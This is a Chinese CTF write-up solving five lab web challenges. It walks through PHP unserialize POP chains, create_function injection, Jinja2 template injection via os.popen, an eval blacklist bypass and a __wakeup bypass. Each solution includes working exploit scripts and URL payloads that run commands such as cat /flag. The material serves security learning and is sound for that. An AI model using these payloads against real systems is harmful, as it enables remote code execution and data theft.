本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
兔年大吉2
题目信息

打开靶场发现一大堆php代码

进入靶场后,首先会获得一段 PHP 源代码(建议复制给 AI 辅助梳理类与魔术方法的关系)。核心代码如下:
<?php highlight_file(__FILE__); error_reporting(0); # 最终执行命令的类 class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { ... } public function __call($name, $arguments) { call_user_func($this->cmd, $this->content); } public function __wakeup() { die("Wishes can be fulfilled"); } } # 中间触发类 class Nevv{ private $happiness; public function __invoke() { return $this->happiness->check(); } } # 中间触发类 class Rabbit{ private $aspiration; public function __set($name, $val) { return $this->aspiration->family; } } # 入口类(反序列化起点) class Year{ public $key; public $rabbit; public function __construct($key) { $this->key = $key; } public function firecrackers() { return $this->rabbit->wish = "allkill QAQ"; } public function __get($name) { $name = $this->rabbit; $name(); } public function __destruct() { if ($this->key == "happy new year") { $this->firecrackers(); } } } if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); } else { echo "过新年啊~过个吉祥年~"; } ?>
各魔术方法触发条件总结:
| 魔术方法 | 触发时机 |
|---|---|
__wakeup() |
反序列化时自动调用 |
__destruct() |
对象销毁时自动调用 |
__call($name, $args) |
调用不存在或不可访问的方法时 |
__get($name) |
读取不可访问的属性时 |
__set($name, $value) |
给不可访问的属性赋值时 |
__invoke() |
将对象当作函数调用时 |
四、解题思路(POP 链构造)
1. 核心攻击目标 最终目标是触发 Happy 类的 __call 方法,进而执行: call_user_func($this->cmd, $this->content);(实现任意命令执行)。
2. 反向推导 POP 链(从后向前推)
-
触发
Happy::__call:需要调用一个不存在的方法。在Nevv::__invoke中存在$this->happiness->check(),只要$happiness是Happy对象且没有check()方法,即可触发。 -
触发
Nevv::__invoke:需要将对象当作函数调用。在Year::__get中有$name = $this->rabbit; $name();,只要$rabbit为Nevv对象即可触发。 -
触发
Year::__get:需要读取不可访问的属性。在Rabbit::__set中有return $this->aspiration->family;,只要$aspiration为Year对象,且family属性不可访问,即可触发。 -
触发
Rabbit::__set:需要给不可访问的属性赋值。在Year::firecrackers中有$this->rabbit->wish = "allkill QAQ";,只要$rabbit为Rabbit对象即可触发。 -
触发
Year::firecrackers:在Year::__destruct中,只要$key等于"happy new year",销毁对象时自动触发。
3. 完整 POP 链执行流程
-
反序列化
Year对象,脚本结束触发Year::__destruct; -
判断
$key == "happy new year"成立,调用firecrackers(); -
执行
$this->rabbit->wish = "allkill QAQ",触发Rabbit::__set; -
在
Rabbit::__set中执行return $this->aspiration->family,触发Year::__get; -
在
Year::__get中执行$name = $this->rabbit; $name();,触发Nevv::__invoke; -
在
Nevv::__invoke中执行return $this->happiness->check(),触发Happy::__call; -
最终执行
call_user_func("system", "cat /flag"),成功实现 RCE。
避坑提示:
-
私有属性序列化 :类中的
private属性在序列化时,属性名必须带上类名和\x00前缀(在实际构造中,原生 PHP 的serialize()会自动处理)。 -
绕过
__wakeup限制 :因为Happy对象在 POP 链中并非最外层直接反序列化的对象,因此__wakeup不会被触发,无需特殊绕过。
五、解题过程与 Payload 生成
利用 PHP 脚本直接构造序列化数据。将以下代码保存为 payload.php,并在终端执行 php payload.php,或者直接在终端中粘贴 PHP 代码运行。
Payload 生成代码:
<?php class Happy { private $cmd = "system"; private $content = "ls;cat /flag 2>&1"; } class Nevv { private $happiness; function __construct($a) { $this->happiness = $a; } } class Rabbit { private $aspiration; function __construct($a) { $this->aspiration = $a; } } class Year { public $key = "happy new year"; public $rabbit; function __construct($a) { $this->rabbit = $a; } } $a = new Year(new Rabbit(new Year(new Nevv(new Happy())))); echo urlencode(serialize($a)); ?>

最终提交 Payload: 运行上述脚本后,你会得到一串 URL 编码后的字符串。
O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A17%3A%22ls%3Bcat+%2Fflag+2%3E%261%22%3B%7D%7D%7D%7D%7D
将其作为 pop 参数拼接到靶机 URL 后面,如: http://靶机地址/?pop=O%3A4%3A...
点击访问后,页面便会自动执行 cat /flag 命令,将根目录下的 Flag 文件内容直接回显到网页上,获取最终的 flag{...}。

unserialize-Noteasy
题目信息

一、题目背景与代码分析
题目给出了一段 PHP 类代码,核心逻辑如下:

<?php if (isset($_GET['p'])) { $p = unserialize($_GET['p']); } show_source("index.php"); class Noteasy { private $a; private $b; public function __construct($a, $b) { ... } public function __destruct() { $a = (string)$this->a; $b = (string)$this->b; $this->check($a.$b); $a("", $b); // 关注点:此处变量 $a 作为函数名,$b 作为参数被调用 } private function check($str) { // 黑名单:拦截了常见的系统命令执行关键字 if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out"); } } ?>
代码通过 GET 参数 p 接收反序列化字符串。当 Noteasy 对象销毁时,会触发 __destruct() 魔术方法。
二、核心漏洞点:create_function 代码注入
观察 __destruct() 中的代码 $a("", $b);:
-
$a和$b是我们可控的字符串。 -
如果
$a等于字符串"create_function",这句话就会被 PHP 解析为create_function("", $b);。 -
原理 :
create_function会动态创建一个匿名函数。如果我们给$b传入精心构造的字符串,就可以闭合原有函数体,注入恶意的 PHP 代码,从而实现任意代码执行(RCE)。
三、绕过过滤机制
题目中的 check() 方法使用了黑名单: (ls|find|cat|grep|head|tail|echo) 传统的 system("cat /flag") 会被直接拦截。因此,我们可以选择不使用系统命令,而是直接调用 PHP 原生的文件读取函数。
绕过方案:
-
采用
readfile('/flag')读取 Flag 文件。 -
该函数不会被
preg_match的黑名单拦截,且能直接回显文件内容。 -
利用
//注释符号,将生成函数时末尾多余的}完美注释掉,避免代码语法错误。
四、POP 链构造与反序列化推导
为了让程序成功走到 __destruct() 并触发注入,我们需要构造反序列化字符串。 需要注意的是,$a 和 $b 是类的私有属性(private) 。在 PHP 中进行 serialize() 时,私有属性名会被加上空字节前缀(形如 \0Class\0Attribute,URL 编码后为 %00)。我们在生成 Payload 时会直接使用内置的 serialize() 并配合 urlencode() 处理,无需手动拼接,只需保证代码中的变量值正确即可。
攻击链流程复盘:
-
攻击者构造一个
Noteasy对象,将属性$a设为"create_function",$b设为"}readfile('/flag');//"。 -
将对象序列化并 URL 编码后,作为
p参数传给靶机。 -
靶机触发
unserialize(),生成对象。 -
脚本执行完毕,
Noteasy对象自动销毁,触发__destruct()。 -
通过
$a("", $b)触发create_function("", "}readfile('/flag');//")。 -
PHP 动态生成匿名函数,注入的
readfile('/flag');代码被成功执行,Flag 直接回显。
五、最终 EXP(漏洞利用)脚本与 Payload
将以下代码保存为 exp.php 并在本地运行(或直接在 PHP 命令行中粘贴执行):
<?php class Noteasy { private $a; private $b; public function setAB($a, $b) { $this->a = $a; $this->b = $b; } } // 创建对象并设置恶意属性 $obj = new Noteasy(); //$obj->setAB('create_function', ';}system(\'l\s /\');;//'); $obj->setAB('create_function', '}readfile(\'/flag\');//'); //$obj->setAB('create_function', ';}system(\'tac /flag\');;//'); // 序列化对象 $payload = serialize($obj); // 输出 URL 编码后的 payload echo "URL Encoded Payload: " . urlencode($payload) . "\n"; ?>

最终提交 Get 请求: 在终端运行上述代码后,你会得到一行类似 O%3A7%3A%22Noteasy%22... 的 URL 编码字符串,
O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A21%3A%22%7Dreadfile%28%27%2Fflag%27%29%3B%2F%2F%22%3B%7D
将其拼接在题目 URL 后面:
http://靶机地址/?p=O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A...
访问该链接,服务器就会自动执行 readfile('/flag');,将 Flag 文件的内容直接显示在响应页面中。至此,题目成功解决。

Simple_SSTI_2
题目信息

一、寻找注入点
进入靶场后,页面提示:You need pass in a parameter named flag 。 这说明我们需要通过 GET 方式传入一个名为 flag 的参数。通过测试,发现该参数存在**服务端模板注入(SSTI)**漏洞,运行环境为 Flask / Jinja2。

二、构造 Payload 探测路径
为了寻找 Flag 文件的实际存放路径,我们可以利用 Flask 的全局对象 config 向上回溯,调用 Python 内置的 os.popen 执行系统命令:
-
查看上级目录文件列表:
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}执行后,通过页面回显排查发现目标文件并未直接暴露在上级目录中。

-
进一步探测
../app目录:?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read()}}此时页面成功回显出
../app目录下存在一个名为flag的文件。

三、读取最终 Flag
拿到确切路径后,直接使用 cat 命令读取 ../app/flag 文件的内容。
最终的 Payload(注意末尾必须有两个 }} 闭合模板语法):
?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}
提交后,靶机页面会直接执行系统命令,将 ../app/flag 文件的内容回显出来,成功拿到 flag{...}。

闪电十六鞭
题目信息

一、源码审计与条件分析
进入靶场后,得到如下 PHP 代码:

<?php error_reporting(0); require __DIR__.'/flag.php'; $exam = 'return\''.sha1(time()).'\';'; if (!isset($_GET['flag'])) { echo '<a href="./?flag='.$exam.'">Click here</a>'; } else if (strlen($_GET['flag']) != strlen($exam)) { echo '长度不允许'; } else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) { echo '关键字不允许'; } else if (eval($_GET['flag']) === sha1($flag)) { echo $flag; } else { echo '马老师发生甚么事了'; } echo '<hr>'; highlight_file(__FILE__); ?>
目标: 通过传入参数 flag,让 eval() 执行并获取 Flag。
核心限制条件:
-
长度限制:
strlen($_GET['flag'])必须等于$exam的长度(由sha1(time())生成的动态哈希确定,固定 40 位,加上前缀return''共 48 或 49 个字符)。 -
黑名单拦截: 正则拦截了
"、.、\、()、[]、_,以及flag、echo、print等敏感关键字。这导致我们无法使用常规的方式直接拼接字符串或调用函数。
二、绕过思路与 Payload 构造
1. 绕过黑名单,生成 flag 字符串
因为黑名单过滤了 "、_ 和 flag,我们不能直接写 $a = "flag"。 我们可以利用 PHP 的 字符串偏移修改特性,分两步动态拼接:
-
$a='fla1';(初始化$a为"fla1",避开了flag的黑名单) -
$a{3}='g';({3}表示修改字符串第 4 个字符,把数字1替换成字母g,此时$a成功变成"flag")
2. 绕过 strlen 长度限制
为了满足 strlen 的判断,我们在 Payload 的最后填充大量无用的字符(如 111111...),使总长度与 $exam 的哈希长度完全一致。
3. 利用 eval 执行并输出 Flag
因为黑名单禁用了 echo 和 print,我们使用 PHP 的短标签 <?= ... ?> 来直接打印变量。 最终构造的 Payload 中,包含 ?> 闭合了 eval 的 PHP 环境,随后立即用 <?= $$a;?> 直接向页面输出全局变量 $flag($$a 等价于 $flag)。
三、最终完整 Payload
将下面这段 Payload 作为 flag 参数传入(末尾的 111111... 用于凑齐长度):
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
执行推演:
-
eval()解析第一句,把$a变成"flag"。 -
?>短标签闭合当前 PHP 解析,让接下来的内容原样输出。 -
<?=$$a;?>触发输出$flag,Flag 直接显示在网页上。 -
最后的
111...补齐了哈希的长度,绕过第一道门槛。
提交该 Payload 后,页面上就会直接爆出 flag{...} !

安慰奖
题目信息

进入靶场看源代码发现个编码,解一下

解码

提示备份
开始扫后台 得到备份文件index.php.bak 得到php代码
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
可以开始反序列化操作了
/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

得到当前所有文件
?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";}
得到flag.php文件内容
